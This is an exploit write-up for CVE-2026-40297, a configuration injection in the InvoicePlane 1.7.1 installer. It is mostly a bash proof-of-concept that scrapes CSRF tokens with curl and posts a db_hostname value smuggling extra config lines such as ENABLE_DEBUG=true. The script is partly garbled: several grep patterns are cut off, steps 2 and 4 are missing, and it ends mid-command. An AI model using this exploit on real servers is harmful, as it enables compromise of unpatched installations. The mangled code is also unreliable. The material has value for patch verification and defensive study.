CVE-2026-40297: InvoicePlane 1.7.1 - RCE --- # Exploit Title: InvoicePlane 1.7.1 - RCE # Date: 2026-04-10 # Exploit Author: Mustafa Murat Akgül # Vendor Homepage…

InvoicePlane 1.7.1 - RCE

---

# Exploit Title: InvoicePlane 1.7.1 - RCE
# Date: 2026-04-10
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://invoiceplane.com/
# Software Link: https://github.com/InvoicePlane/InvoicePlane
# Version: 1.7.1 (Patched: 1.7.2)
# CVE: CVE-2026-40297
# Advisory: GHSA-ffq5-mw9f-mv6j
# Tested on: Linux/Ubuntu (PHP 8.x)

Technical Details:
A critical configuration injection vulnerability exists in the application’s setup module.
The db_hostname parameter is not properly sanitized during installation, allowing attackers
to inject arbitrary configuration values. This can lead to environment manipulation, debug
mode activation, and potential remote code execution depending on deployment context.

Proof of Concept (PoC):

The following bash script automates the installation setup flow, extracts the necessary
CSRF tokens sequentially, and injects configuration directives through the db_hostname field:

#!/bin/bash

# Step 1: Initialize session and fetch language page CSRF token
curl -s -c /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" > /dev/null

TOKEN1=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" \
| grep -oP '(? /dev/null

# Step 3: Fetch prerequisites CSRF token
TOKEN2=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/prerequisites" \
| grep -oP '(? /dev/null

# Step 5: Fetch database configuration CSRF token
TOKEN3=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/configure_database" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')

# Step 6: Submit payload via db_hostname parameter injection
curl -s -b /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/configure_database" \
--data-urlencode "_ip_csrf=${TOKEN3}" \
--data-urlencode "db_hostname=localhost'
ENABLE_DEBUG=true
SUMEX_URL=http://192.168.1.1/
DB_HOSTNAME='localhost" \
--data-urlencode "db_username=ip_user" \
--data-urlencode "db_password=Sifre123!" \
--data-urlencode "db_database=invoicep